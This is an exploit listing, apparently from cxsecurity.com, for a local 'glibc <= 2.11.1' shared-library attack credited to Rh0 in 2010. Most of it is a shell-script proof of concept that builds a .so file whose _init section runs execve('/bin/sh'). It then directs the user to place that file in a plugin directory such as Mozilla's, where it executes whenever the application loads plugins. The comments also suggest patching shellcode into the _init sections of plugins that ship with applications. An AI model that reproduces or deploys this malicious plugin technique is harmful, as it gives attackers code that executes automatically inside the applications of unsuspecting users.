GNU glibc <= 2.11.1 exploit that leverages browser plugin functionality

2010.04.08
Credit: Rh0
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: Local Glibc shared library (.so) exploit # Date: 07.04.10 # Author: Rh0 (Rh0@z1p.biz) # Software Link: NA # Version: <= 2.11.1, higher not tested # Tested on: Debian stable (x86-64), Ubunutu 9.10 (x86), Fedora 12 (x86) # CVE : NA # Code : #!/bin/sh # A lot of applications in linux use shared library structure to be # able to load plugins. E.g. Mozilla, Geany IDE, Compiz, Epiphany web # browser and more. Shared libraries are initialized (but not loaded) # often during startup, at a click at something like "->Tools->Plugins" # in the menue or at latest when they are activated. dlopen() is used # for initializing and is part of glibc. # See http://linux.die.net/man/3/dlopen. # It always executes the _init section of the shared library. A # malformed _init section makes dlopen crash (NULL dereference). But # this is not even necessary to exploit an application, as a custom # _init section is always executed when dlopen is called . The exploit # can be in the form of a custom compiled file. Also the _init section in # a plugin already shipped with the application can be overwritten with # working shellcode to exploit it or some \x41 to crash it . # PoC: cat >Xlibx.c<<EOF #include <unistd.h> _init() { execve("/bin/sh",NULL,NULL); // evil _init } EOF gcc -fPIC -c Xlibx.c ld -shared -soname Xlibx -o Xlibx.so -lc Xlibx.o rm Xlibx.c rm Xlibx.o echo "* copy Xlibx.so to appropriate directory:" echo "* Mozilla: HOMEDIR/.mozilla/plugins/ " echo "* firefox->Edit->Preferences => Exploit "


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top